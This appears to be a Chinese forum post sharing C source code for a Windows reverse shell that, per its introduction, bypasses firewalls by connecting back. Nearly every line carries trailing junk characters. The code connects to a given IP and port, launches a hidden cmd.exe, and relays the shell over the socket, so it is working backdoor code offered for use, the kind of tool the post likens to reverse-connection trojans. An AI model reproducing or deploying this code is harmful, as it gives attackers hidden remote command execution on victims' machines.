这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pl|<g9
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/* ============================== :8yrtbf$
Rebound port in Windows NT Kxh)'aal
By wind,2006/7 ,&z_ 2m
===============================*/ F#Z]Xq0r
#include q2&&n6PYW
#include rQN+x|dKMb
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#pragma comment(lib,"wsock32.lib") NM[w =
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void OutputShell(); 5orA#B
SOCKET sClient; 9tk}_+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; an0@EkZ
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void main(int argc,char **argv) 3)__b:7J
{ QBai;p{
WSADATA stWsaData;
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int nRet; d=N5cCqq
SOCKADDR_IN stSaiClient,stSaiServer; _S@s
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if(argc != 3) in(n[K
{ P8z++h
printf("Useage:\n\rRebound DestIP DestPort\n"); c\]h YKA
return; jk) V[7P
} |VaXOdD`&
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WSAStartup(MAKEWORD(2,2),&stWsaData); g7_a8_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q+|Dm<Ug
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stSaiClient.sin_family = AF_INET; )x?F1/
stSaiClient.sin_port = htons(0); w4RP*Da?:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QqtFNG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kgk9p`C(
{ v\$XhOK
printf("Bind Socket Failed!\n"); |hOqz2|
return; 2$\Du9+
} vnXpC!1
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stSaiServer.sin_family = AF_INET; &$< S1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mZMLDs:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j"}alS`-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~`8`kk8
{ ,i,f1XJ|
printf("Connect Error!"); /of,4aaK7
return; X(g<rz1J]
} 7&|fD{:4U
OutputShell(); <Pg.N
} @0n #Qs|E!
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void OutputShell() L{<E'#@F
{ CNfeHMT
char szBuff[1024]; \>:(++g
SECURITY_ATTRIBUTES stSecurityAttributes; k@KX=mG<
OSVERSIONINFO stOsversionInfo; ]5uCs[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6D w[n
STARTUPINFO stStartupInfo; zx0{cNPK5
char *szShell; rf^1%Zo:
PROCESS_INFORMATION stProcessInformation; $;$_N43
unsigned long lBytesRead; GJ{]}fl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o )Ob}j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1mf|:2,
stSecurityAttributes.lpSecurityDescriptor = 0; )CihqsA2
stSecurityAttributes.bInheritHandle = TRUE; J}%&;uv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "d%":F(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9b()ck-\F#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @Je{;1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 611:eLyy&l
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; OC"W=[Myl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J"I{0>@
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GetVersionEx(&stOsversionInfo); s.Yyw y
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switch(stOsversionInfo.dwPlatformId) U,aV{qz
{ '.d el7s
case 1: au0)yg*V1
szShell = "command.com"; Jr\4x7a;`~
break; v=9:N/sW
default: Yl>@(tu)|
szShell = "cmd.exe"; $+:_>n^#/
break; q31swP
} .* VZY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *.W![%Be
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send(sClient,szMsg,77,0); Ko2{[%
while(1) b~%(5r.
{ [fO \1J
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >`8i=ZpCOS
if(lBytesRead) SP5/K3t-*
{ U1J?o#(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u@[D*c1!H
send(sClient,szBuff,lBytesRead,0); vKol@7%N
} a&wl-
else n uhKM.a{
{ &kYg
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lBytesRead=recv(sClient,szBuff,1024,0); #RZW)Br
if(lBytesRead<=0) break; ),dXaP[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R279=sO,J
} v\0[B jhL?
} W[w8@OCNf
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return; 1r|'n aiZ
}